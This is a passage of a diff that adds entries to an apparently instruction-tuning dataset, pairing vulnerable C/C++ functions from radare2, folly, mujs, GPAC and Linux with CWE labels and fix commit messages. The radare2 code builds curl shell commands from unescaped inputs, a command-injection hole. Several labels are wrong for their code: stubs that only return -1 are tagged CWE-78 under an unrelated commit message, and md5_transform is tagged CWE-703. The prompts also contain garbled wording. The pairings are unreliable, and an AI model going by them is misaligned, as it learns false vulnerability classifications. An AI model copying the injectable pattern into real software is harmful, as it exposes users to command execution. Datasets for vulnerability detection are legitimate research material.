abspath_to_archive);\n\t\tR_FREE (abspath_to_dir);\n#endif\n\t\teprintf (\"Attempting to download compressed pdb in %s\\n\", abspath_to_archive);\n\t\tif ((cmd_ret = r_sys_cmd (curl_cmd) != 0)) {\n\t\t\teprintf(\"curl exited with error %d\\n\", cmd_ret);\n\t\t\tres = 0;\n\t\t}\n\t\teprintf (\"Attempting to decompress pdb\\n\");\n\t\tif (opt->extract > 0) {\n\t\t\tif (res && ((cmd_ret = r_sys_cmd (extractor_cmd)) != 0)) {\n\t\t\t\teprintf (\"cab extractor exited with error %d\\n\", cmd_ret);\n\t\t\t\tres = 0;\n\t\t\t}\n\t\t\tr_file_rm (abspath_to_archive);\n\t\t}\n\t\tR_FREE (curl_cmd);\n\t}\n\tif (res == 0) {\n\t\teprintf (\"Falling back to uncompressed pdb\\n\");\n\t\tres = 1;\n\n\t\tarchive_name_escaped[strlen (archive_name_escaped) - 1] = 'b';\n\n\t\tcurl_cmd = r_str_newf (\"curl -sfLA \\\"%s\\\" \\\"%s/%s/%s/%s\\\" --create-dirs -o \\\"%s\\\"\",\n\t\t                       opt->user_agent,\n\t\t                       opt->symbol_server,\n\t\t                       opt->dbg_file,\n\t\t                       opt->guid,\n\t\t                       archive_name_escaped,\n\t\t                       abspath_to_file);\n\t\teprintf (\"Attempting to download uncompressed pdb in %s\\n\", abspath_to_file);\n\t\tif ((cmd_ret = r_sys_cmd (curl_cmd) != 0)) {\n\t\t\teprintf(\"curl exited with error %d\\n\", cmd_ret);\n\t\t\tres = 0;\n\t\t}\n\t\tR_FREE (curl_cmd);\n\t}\n\tR_FREE (abspath_to_archive);\n\tR_FREE (abspath_to_file);\n\tR_FREE (archive_name);\n\tR_FREE (extractor_cmd);\n\tR_FREE (symbol_store_path);\n\tR_FREE (dbg_file);\n\tR_FREE (guid);\n\tR_FREE (archive_name_escaped);\n\tR_FREE (user_agent);\n\tR_FREE (symbol_server);\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-78'], 'message': 'Fix command injection on PDB download (#16966)\n\n* Fix r_sys_mkdirp with absolute path on Windows\r\n* Fix build with --with-openssl\r\n* Use RBuffer in r_socket_http_answer()\r\n* r_socket_http_answer: Fix read for big responses\r\n* Implement r_str_escape_sh()\r\n* Cleanup r_socket_connect() on Windows\r\n* Fix socket being created without a protocol\r\n* Fix socket connect with SSL ##socket\r\n* Use select() in r_socket_ready()\r\n* Fix read failing if received only protocol answer\r\n* Fix double-free\r\n* r_socket_http_get: Fail if req. SSL with no support\r\n* Follow redirects in r_socket_http_answer()\r\n* Fix r_socket_http_get result length with R2_CURL=1\r\n* Also follow redirects\r\n* Avoid using curl for downloading PDBs\r\n* Use r_socket_http_get() on UNIXs\r\n* Use WinINet API on Windows for r_socket_http_get()\r\n* Fix command injection\r\n* Fix r_sys_cmd_str_full output for binary data\r\n* Validate GUID on PDB download\r\n* Pass depth to socket_http_get_recursive()\r\n* Remove 'r_' and '__' from static function names\r\n* Fix is_valid_guid\r\n* Fix for comments'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: R_API int r_socket_read(RSocket *s, unsigned char *buf, int len) {\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-78'], 'message': 'Fix command injection on PDB download (#16966)\n\n* Fix r_sys_mkdirp with absolute path on Windows\r\n* Fix build with --with-openssl\r\n* Use RBuffer in r_socket_http_answer()\r\n* r_socket_http_answer: Fix read for big responses\r\n* Implement r_str_escape_sh()\r\n* Cleanup r_socket_connect() on Windows\r\n* Fix socket being created without a protocol\r\n* Fix socket connect with SSL ##socket\r\n* Use select() in r_socket_ready()\r\n* Fix read failing if received only protocol answer\r\n* Fix double-free\r\n* r_socket_http_get: Fail if req. SSL with no support\r\n* Follow redirects in r_socket_http_answer()\r\n* Fix r_socket_http_get result length with R2_CURL=1\r\n* Also follow redirects\r\n* Avoid using curl for downloading PDBs\r\n* Use r_socket_http_get() on UNIXs\r\n* Use WinINet API on Windows for r_socket_http_get()\r\n* Fix command injection\r\n* Fix r_sys_cmd_str_full output for binary data\r\n* Validate GUID on PDB download\r\n* Pass depth to socket_http_get_recursive()\r\n* Remove 'r_' and '__' from static function names\r\n* Fix is_valid_guid\r\n* Fix for comments'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: R_API int r_socket_ready(RSocket *s, int secs, int usecs) {\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-78'], 'message': 'Fix command injection on PDB download (#16966)\n\n* Fix r_sys_mkdirp with absolute path on Windows\r\n* Fix build with --with-openssl\r\n* Use RBuffer in r_socket_http_answer()\r\n* r_socket_http_answer: Fix read for big responses\r\n* Implement r_str_escape_sh()\r\n* Cleanup r_socket_connect() on Windows\r\n* Fix socket being created without a protocol\r\n* Fix socket connect with SSL ##socket\r\n* Use select() in r_socket_ready()\r\n* Fix read failing if received only protocol answer\r\n* Fix double-free\r\n* r_socket_http_get: Fail if req. SSL with no support\r\n* Follow redirects in r_socket_http_answer()\r\n* Fix r_socket_http_get result length with R2_CURL=1\r\n* Also follow redirects\r\n* Avoid using curl for downloading PDBs\r\n* Use r_socket_http_get() on UNIXs\r\n* Use WinINet API on Windows for r_socket_http_get()\r\n* Fix command injection\r\n* Fix r_sys_cmd_str_full output for binary data\r\n* Validate GUID on PDB download\r\n* Pass depth to socket_http_get_recursive()\r\n* Remove 'r_' and '__' from static function names\r\n* Fix is_valid_guid\r\n* Fix for comments'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void IOBuf::allocExtBuffer(\n    std::size_t minCapacity,\n    uint8_t** bufReturn,\n    SharedInfo** infoReturn,\n    std::size_t* capacityReturn) {\n  size_t mallocSize = goodExtBufferSize(minCapacity);\n  auto buf = static_cast(checkedMalloc(mallocSize));\n  initExtBuffer(buf, mallocSize, infoReturn, capacityReturn);\n\n  // the userData and the freeFn are nullptr here\n  // just store the mallocSize in userData\n  (*infoReturn)->userData = reinterpret_cast(mallocSize);\n  if (io_buf_alloc_cb) {\n    io_buf_alloc_cb(buf, mallocSize);\n  }\n\n  *bufReturn = buf;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': '[folly] Add additional overflow checks to IOBuf - CVE-2021-24036\n\nSummary:\nAs per title\n\nCVE-2021-24036\n\nReviewed By: jan\n\nDifferential Revision: D27938605\n\nfbshipit-source-id: 7481c54ae6fbb7b67b15b3631d5357c2f7043f9c'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void Sp_replace_regexp(js_State *J)\n{\n\tjs_Regexp *re;\n\tconst char *source, *s, *r;\n\tjs_Buffer *sb = NULL;\n\tint n, x;\n\tResub m;\n\n\tsource = checkstring(J, 0);\n\tre = js_toregexp(J, 1);\n\n\tif (js_regexec(re->prog, source, &m, 0)) {\n\t\tjs_copy(J, 0);\n\t\treturn;\n\t}\n\n\tre->last = 0;\n\nloop:\n\ts = m.sub[0].sp;\n\tn = m.sub[0].ep - m.sub[0].sp;\n\n\tif (js_iscallable(J, 2)) {\n\t\tjs_copy(J, 2);\n\t\tjs_pushundefined(J);\n\t\tfor (x = 0; m.sub[x].sp; ++x) /* arg 0..x: substring and subexps that matched */\n\t\t\tjs_pushlstring(J, m.sub[x].sp, m.sub[x].ep - m.sub[x].sp);\n\t\tjs_pushnumber(J, s - source); /* arg x+2: offset within search string */\n\t\tjs_copy(J, 0); /* arg x+3: search string */\n\t\tjs_call(J, 2 + x);\n\t\tr = js_tostring(J, -1);\n\t\tjs_putm(J, &sb, source, s);\n\t\tjs_puts(J, &sb, r);\n\t\tjs_pop(J, 1);\n\t} else {\n\t\tr = js_tostring(J, 2);\n\t\tjs_putm(J, &sb, source, s);\n\t\twhile (*r) {\n\t\t\tif (*r == '$') {\n\t\t\t\tswitch (*(++r)) {\n\t\t\t\tcase 0: --r; /* end of string; back up */\n\t\t\t\t/* fallthrough */\n\t\t\t\tcase '$': js_putc(J, &sb, '$'); break;\n\t\t\t\tcase '`': js_putm(J, &sb, source, s); break;\n\t\t\t\tcase '\\'': js_puts(J, &sb, s + n); break;\n\t\t\t\tcase '&':\n\t\t\t\t\tjs_putm(J, &sb, s, s + n);\n\t\t\t\t\tbreak;\n\t\t\t\tcase '0': case '1': case '2': case '3': case '4':\n\t\t\t\tcase '5': case '6': case '7': case '8': case '9':\n\t\t\t\t\tx = *r - '0';\n\t\t\t\t\tif (r[1] >= '0' && r[1] <= '9')\n\t\t\t\t\t\tx = x * 10 + *(++r) - '0';\n\t\t\t\t\tif (x > 0 && x < m.nsub) {\n\t\t\t\t\t\tjs_putm(J, &sb, m.sub[x].sp, m.sub[x].ep);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tjs_putc(J, &sb, '$');\n\t\t\t\t\t\tif (x > 10) {\n\t\t\t\t\t\t\tjs_putc(J, &sb, '0' + x / 10);\n\t\t\t\t\t\t\tjs_putc(J, &sb, '0' + x % 10);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tjs_putc(J, &sb, '0' + x);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tjs_putc(J, &sb, '$');\n\t\t\t\t\tjs_putc(J, &sb, *r);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t++r;\n\t\t\t} else {\n\t\t\t\tjs_putc(J, &sb, *r++);\n\t\t\t}\n\t\t}\n\t}\n\n\tif (re->flags & JS_REGEXP_G) {\n\t\tsource = m.sub[0].ep;\n\t\tif (n == 0) {\n\t\t\tif (*source)\n\t\t\t\tjs_putc(J, &sb, *source++);\n\t\t\telse\n\t\t\t\tgoto end;\n\t\t}\n\t\tif (!js_regexec(re->prog, source, &m, REG_NOTBOL))\n\t\t\tgoto loop;\n\t}\n\nend:\n\tjs_puts(J, &sb, s + n);\n\tjs_putc(J, &sb, 0);\n\n\tif (js_try(J)) {\n\t\tjs_free(J, sb);\n\t\tjs_throw(J);\n\t}\n\tjs_pushstring(J, sb ? sb->s : \"\");\n\tjs_endtry(J);\n\tjs_free(J, sb);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-400', 'CWE-674', 'CWE-787'], 'message': 'Bug 700937: Limit recursion in regexp matcher.\n\nAlso handle negative return code as an error in the JS bindings.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int linear_ioctl(struct dm_target *ti, unsigned int cmd,\n\t\t\tunsigned long arg)\n{\n\tstruct linear_c *lc = (struct linear_c *) ti->private;\n\treturn __blkdev_driver_ioctl(lc->dev->bdev, lc->dev->mode, cmd, arg);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'dm: do not forward ioctls from logical volumes to the underlying device\n\nA logical volume can map to just part of underlying physical volume.\nIn this case, it must be treated like a partition.\n\nBased on a patch from Alasdair G Kergon.\n\nCc: Alasdair G Kergon \nCc: dm-devel@redhat.com\nSigned-off-by: Paolo Bonzini \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: GF_Err gf_isom_box_parse_ex(GF_Box **outBox, GF_BitStream *bs, u32 parent_type, Bool is_root_box)\n{\n\tu32 type, uuid_type, hdr_size, restore_type;\n\tu64 size, start, comp_start, payload_start, end;\n\tchar uuid[16];\n\tGF_Err e;\n\tGF_BitStream *uncomp_bs = NULL;\n\tu8 *uncomp_data = NULL;\n\tu32 compressed_size=0;\n\tGF_Box *newBox;\n\tBool skip_logs = (gf_bs_get_cookie(bs) & GF_ISOM_BS_COOKIE_NO_LOGS ) ? GF_TRUE : GF_FALSE;\n\tBool is_special = GF_TRUE;\n\t\n\tif ((bs == NULL) || (outBox == NULL) ) return GF_BAD_PARAM;\n\t*outBox = NULL;\n\tif (gf_bs_available(bs) < 8) {\n\t\treturn GF_ISOM_INCOMPLETE_FILE;\n\t}\n\n\tcomp_start = start = gf_bs_get_position(bs);\n\n\tuuid_type = 0;\n\tsize = (u64) gf_bs_read_u32(bs);\n\thdr_size = 4;\n\t/*fix for some boxes found in some old hinted files*/\n\tif ((size >= 2) && (size <= 4)) {\n\t\tsize = 4;\n\t\ttype = GF_ISOM_BOX_TYPE_VOID;\n\t} else {\n\t\ttype = gf_bs_read_u32(bs);\n\t\thdr_size += 4;\n\t\t/*no size means till end of file - EXCEPT FOR some old QuickTime boxes...*/\n\t\tif (type == GF_ISOM_BOX_TYPE_TOTL)\n\t\t\tsize = 12;\n\t\tif (!size) {\n\t\t\tif (is_root_box) {\n\t\t\t\tif (!skip_logs) {\n\t\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[iso file] Warning Read Box type %s (0x%08X) size 0 reading till the end of file\\n\", gf_4cc_to_str(type), type));\n\t\t\t\t}\n\t\t\t\tsize = gf_bs_available(bs) + 8;\n\t\t\t} else {\n\t\t\t\tif (!skip_logs) {\n\t\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Read Box type %s (0x%08X) at position \"LLU\" has size 0 but is not at root/file level, skipping\\n\", gf_4cc_to_str(type), type, start));\n\t\t\t\t}\n\t\t\t\treturn GF_OK;\n\t\t\t}\n\t\t}\n\t\tif (is_root_box && (size>=8)) {\n\t\t\tBool do_uncompress = GF_FALSE;\n\t\t\tu8 *compb = NULL;\n\t\t\tu32 osize = 0;\n\t\t\tu32 otype = type;\n\t\t\tif (type==GF_4CC('!', 'm', 'o', 'f')) {\n\t\t\t\tdo_uncompress = GF_TRUE;\n\t\t\t\ttype = GF_ISOM_BOX_TYPE_MOOF;\n\t\t\t}\n\t\t\telse if (type==GF_4CC('!', 'm', 'o', 'v')) {\n\t\t\t\tdo_uncompress = GF_TRUE;\n\t\t\t\ttype = GF_ISOM_BOX_TYPE_MOOV;\n\t\t\t}\n\t\t\telse if (type==GF_4CC('!', 's', 'i', 'x')) {\n\t\t\t\tdo_uncompress = GF_TRUE;\n\t\t\t\ttype = GF_ISOM_BOX_TYPE_SIDX;\n\t\t\t}\n\t\t\telse if (type==GF_4CC('!', 's', 's', 'x')) {\n\t\t\t\tdo_uncompress = GF_TRUE;\n\t\t\t\ttype = GF_ISOM_BOX_TYPE_SSIX;\n\t\t\t}\n\n\t\t\tif (do_uncompress) {\n\t\t\t\tcompb = gf_malloc((u32) (size-8));\n\n\t\t\t\tcompressed_size = (u32) (size - 8);\n\t\t\t\tgf_bs_read_data(bs, compb, compressed_size);\n\t\t\t\te = gf_gz_decompress_payload(compb, compressed_size, &uncomp_data, &osize);\n\t\t\t\tif (e) {\n\t\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Failed to uncompress payload for box type %s (0x%08X)\\n\", gf_4cc_to_str(otype), otype));\n\t\t\t\t\treturn e;\n\t\t\t\t}\n\n\t\t\t\t//keep size as complete box size for tests below\n\t\t\t\tsize = osize + 8;\n\t\t\t\tuncomp_bs = gf_bs_new(uncomp_data, osize, GF_BITSTREAM_READ);\n\t\t\t\tbs = uncomp_bs;\n\t\t\t\tstart = 0;\n\t\t\t\tgf_free(compb);\n\t\t\t}\n\t\t}\n\t}\n\t/*handle uuid*/\n\tmemset(uuid, 0, 16);\n\tif (type == GF_ISOM_BOX_TYPE_UUID ) {\n\t\tif (gf_bs_available(bs) < 16) {\n\t\t\treturn GF_ISOM_INCOMPLETE_FILE;\n\t\t}\n\t\tgf_bs_read_data(bs, uuid, 16);\n\t\thdr_size += 16;\n\t\tuuid_type = gf_isom_solve_uuid_box(uuid);\n\t}\n\n\t//handle large box\n\tif (size == 1) {\n\t\tif (gf_bs_available(bs) < 8) {\n\t\t\treturn GF_ISOM_INCOMPLETE_FILE;\n\t\t}\n\t\tsize = gf_bs_read_u64(bs);\n\t\thdr_size += 8;\n\t}\n\tif (!skip_logs)\n\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[iso file] Read Box type %s size \"LLD\" start \"LLD\"\\n\", gf_4cc_to_str(type), size,  start));\n\n\tif ( size < hdr_size ) {\n\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[iso file] Box size \"LLD\" less than box header size %d\\n\", size, hdr_size));\n\t\treturn GF_ISOM_INVALID_FILE;\n\t}\n\trestore_type = 0;\n\tif ((parent_type==GF_ISOM_BOX_TYPE_STSD) && (type==GF_QT_SUBTYPE_RAW) ) {\n\t\tu64 cookie = gf_bs_get_cookie(bs);\n\t\trestore_type = type;\n\t\tif (cookie & GF_ISOM_BS_COOKIE_VISUAL_TRACK)\n\t\t\ttype = GF_QT_SUBTYPE_RAW_VID;\n\t\telse\n\t\t\ttype = GF_QT_SUBTYPE_RAW_AUD;\n\n\t}\n\n\t//some special boxes (references and track groups) are handled by a single generic box with an associated ref/group type\n\tif (parent_type && (parent_type == GF_ISOM_BOX_TYPE_TREF)) {\n\t\tnewBox = gf_isom_box_new(GF_ISOM_BOX_TYPE_REFT);\n\t\tif (!newBox) return GF_OUT_OF_MEM;\n\t\t((GF_TrackReferenceTypeBox*)newBox)->reference_type = type;\n\t} else if (parent_type && (parent_type == GF_ISOM_BOX_TYPE_IREF)) {\n\t\tnewBox = gf_isom_box_new(GF_ISOM_BOX_TYPE_REFI);\n\t\tif (!newBox) return GF_OUT_OF_MEM;\n\t\t((GF_ItemReferenceTypeBox*)newBox)->reference_type = type;\n\t} else if (parent_type && (parent_type == GF_ISOM_BOX_TYPE_TRGR)) {\n\t\tnewBox = gf_isom_box_new(GF_ISOM_BOX_TYPE_TRGT);\n\t\tif (!newBox) return GF_OUT_OF_MEM;\n\t\t((GF_TrackGroupTypeBox*)newBox)->group_type = type;\n\t} else if (parent_type && (parent_type == GF_ISOM_BOX_TYPE_GRPL)) {\n\t\tnewBox = gf_isom_box_new(GF_ISOM_BOX_TYPE_GRPT);\n\t\tif (!newBox) return GF_OUT_OF_MEM;\n\t\t((GF_EntityToGroupTypeBox*)newBox)->grouping_type = type;\n\t} else {\n\t\t//OK, create the box based on the type\n\t\tis_special = GF_FALSE;\n\t\tnewBox = gf_isom_box_new_ex(uuid_type ? uuid_type : type, parent_type, skip_logs, is_root_box);\n\t\tif (!newBox) return GF_OUT_OF_MEM;\n\t}\n\n\t//OK, init and read this box\n\tif (type==GF_ISOM_BOX_TYPE_UUID && !is_special) {\n\t\tmemcpy(((GF_UUIDBox *)newBox)->uuid, uuid, 16);\n\t\t((GF_UUIDBox *)newBox)->internal_4cc = uuid_type;\n\t}\n\n\tif (!newBox->type) newBox->type = type;\n\tif (restore_type)\n\t\tnewBox->type = restore_type;\n\n\tpayload_start = gf_bs_get_position(bs);\n\nretry_unknown_box:\n\n\tend = gf_bs_available(bs);\n\tif (size - hdr_size > end ) {\n\t\tnewBox->size = size - hdr_size - end;\n\t\t*outBox = newBox;\n\t\treturn GF_ISOM_INCOMPLETE_FILE;\n\t}\n\n\tnewBox->size = size - hdr_size;\n\n\te = gf_isom_full_box_read(newBox, bs);\n\tif (!e) e = gf_isom_box_read(newBox, bs);\n\tif (e) {\n\t\tif (gf_opts_get_bool(\"core\", \"no-check\"))\n\t\t\te = GF_OK;\n\t}\n\tnewBox->size = size;\n\tend = gf_bs_get_position(bs);\n\n\tif (uncomp_bs) {\n\t\tgf_free(uncomp_data);\n\t\tgf_bs_del(uncomp_bs);\n\t\tif (e) {\n\t\t\tgf_isom_box_del(newBox);\n\t\t\t*outBox = NULL;\n\t\t\treturn e;\n\t\t}\n\t\t//move size to real bitstream offsets for tests below\n\t\tsize -= 8;\n\t\t//remember compressed vs real size info for moof in order to properly recompute data_offset/base_data_offset\n\t\tif (type==GF_ISOM_BOX_TYPE_MOOF) {\n\t\t\t((GF_MovieFragmentBox *)newBox)->compressed_diff = (s32)size - (s32)compressed_size;\n\t\t}\n\t\t//remember compressed vs real size info for moov in order to properly recompute chunk offset\n\t\telse if (type==GF_ISOM_BOX_TYPE_MOOV) {\n\t\t\t((GF_MovieBox *)newBox)->compressed_diff = (s32)size - (s32)compressed_size;\n\t\t\t((GF_MovieBox *)newBox)->file_offset = comp_start;\n\t\t}\n\t\t//remember compressed vs real size info for dump\n\t\telse if (type==GF_ISOM_BOX_TYPE_SIDX) {\n\t\t\t((GF_SegmentIndexBox *)newBox)->compressed_diff = (s32)size - (s32)compressed_size;\n\t\t}\n\t\t//remember compressed vs real size info for dump\n\t\telse if (type==GF_ISOM_BOX_TYPE_SSIX) {\n\t\t\t((GF_SubsegmentIndexBox *)newBox)->compressed_diff = (s32)size - (s32)compressed_size;\n\t\t}\n\t\tnewBox->internal_flags = GF_ISOM_BOX_COMPRESSED;\n\t}\n\n\n\tif (e && (e != GF_ISOM_INCOMPLETE_FILE)) {\n\t\tgf_isom_box_del(newBox);\n\t\t*outBox = NULL;\n\n\t\tif (parent_type==GF_ISOM_BOX_TYPE_STSD) {\n\t\t\tnewBox = gf_isom_box_new(GF_ISOM_BOX_TYPE_UNKNOWN);\n\t\t\tif (!newBox) return GF_OUT_OF_MEM;\n\t\t\t((GF_UnknownBox *)newBox)->original_4cc = type;\n\t\t\tnewBox->size = size;\n\t\t\tgf_bs_seek(bs, payload_start);\n\t\t\tgoto retry_unknown_box;\n\t\t}\n\t\tif (!skip_logs) {\n\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Read Box \\\"%s\\\" (start \"LLU\") failed (%s) - skipping\\n\", gf_4cc_to_str(type), start, gf_error_to_string(e)));\n\t\t}\n\t\t//we don't try to reparse known boxes that have been failing (too dangerous)\n\t\treturn e;\n\t}\n\n\tif (end-start > size) {\n\t\tif (!skip_logs) {\n\t\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[iso file] Box \\\"%s\\\" size \"LLU\" (start \"LLU\") invalid (read \"LLU\")\\n\", gf_4cc_to_str(type), size, start, (end-start) ));\n\t\t}\n\t\t/*let's still try to load the file since no error was notified*/\n\t\tgf_bs_seek(bs, start+size);\n\t} else if (end-start < size) {\n\t\tu32 to_skip = (u32) (size-(end-start));\n\t\tif (!skip_logs) {\n\t\t\tif ((to_skip!=4) || gf_bs_peek_bits(bs, 32, 0)) {\n\t\t\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[iso file] Box \\\"%s\\\" (start \"LLU\") has %u extra bytes\\n\", gf_4cc_to_str(type), start, to_skip));\n\t\t\t}\n\t\t}\n\t\tgf_bs_skip_bytes(bs, to_skip);\n\t}\n\t*outBox = newBox;\n\n\treturn e;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'fixed #1768'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void md5_transform(u32 *hash, u32 const *in)\n{\n\tu32 a, b, c, d;\n\n\ta = hash[0];\n\tb = hash[1];\n\tc = hash[2];\n\td = hash[3];\n\n\tMD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);\n\tMD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);\n\tMD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);\n\tMD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);\n\tMD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);\n\tMD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);\n\tMD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);\n\tMD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);\n\tMD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);\n\tMD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);\n\tMD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);\n\tMD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);\n\tMD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);\n\tMD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);\n\tMD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);\n\tMD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);\n\n\tMD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);\n\tMD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);\n\tMD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);\n\tMD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);\n\tMD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);\n\tMD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);\n\tMD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);\n\tMD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);\n\tMD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);\n\tMD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);\n\tMD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);\n\tMD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);\n\tMD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);\n\tMD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);\n\tMD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);\n\tMD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);\n\n\tMD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);\n\tMD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);\n\tMD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);\n\tMD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);\n\tMD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);\n\tMD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);\n\tMD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);\n\tMD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);\n\tMD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);\n\tMD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);\n\tMD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);\n\tMD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);\n\tMD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);\n\tMD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);\n\tMD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);\n\tMD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);\n\n\tMD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);\n\tMD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);\n\tMD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);\n\tMD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);\n\tMD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);\n\tMD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);\n\tMD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);\n\tMD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);\n\tMD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);\n\tMD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);\n\tMD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);\n\tMD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);\n\tMD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);\n\tMD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);\n\tMD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);\n\tMD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);\n\n\thash[0] += a;\n\thash[1] += b;\n\thash[2] += c;\n\thash[3] += d;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'crypto: Move md5_transform to lib/md5.c\n\nWe are going to use this for TCP/IP sequence number and fragment 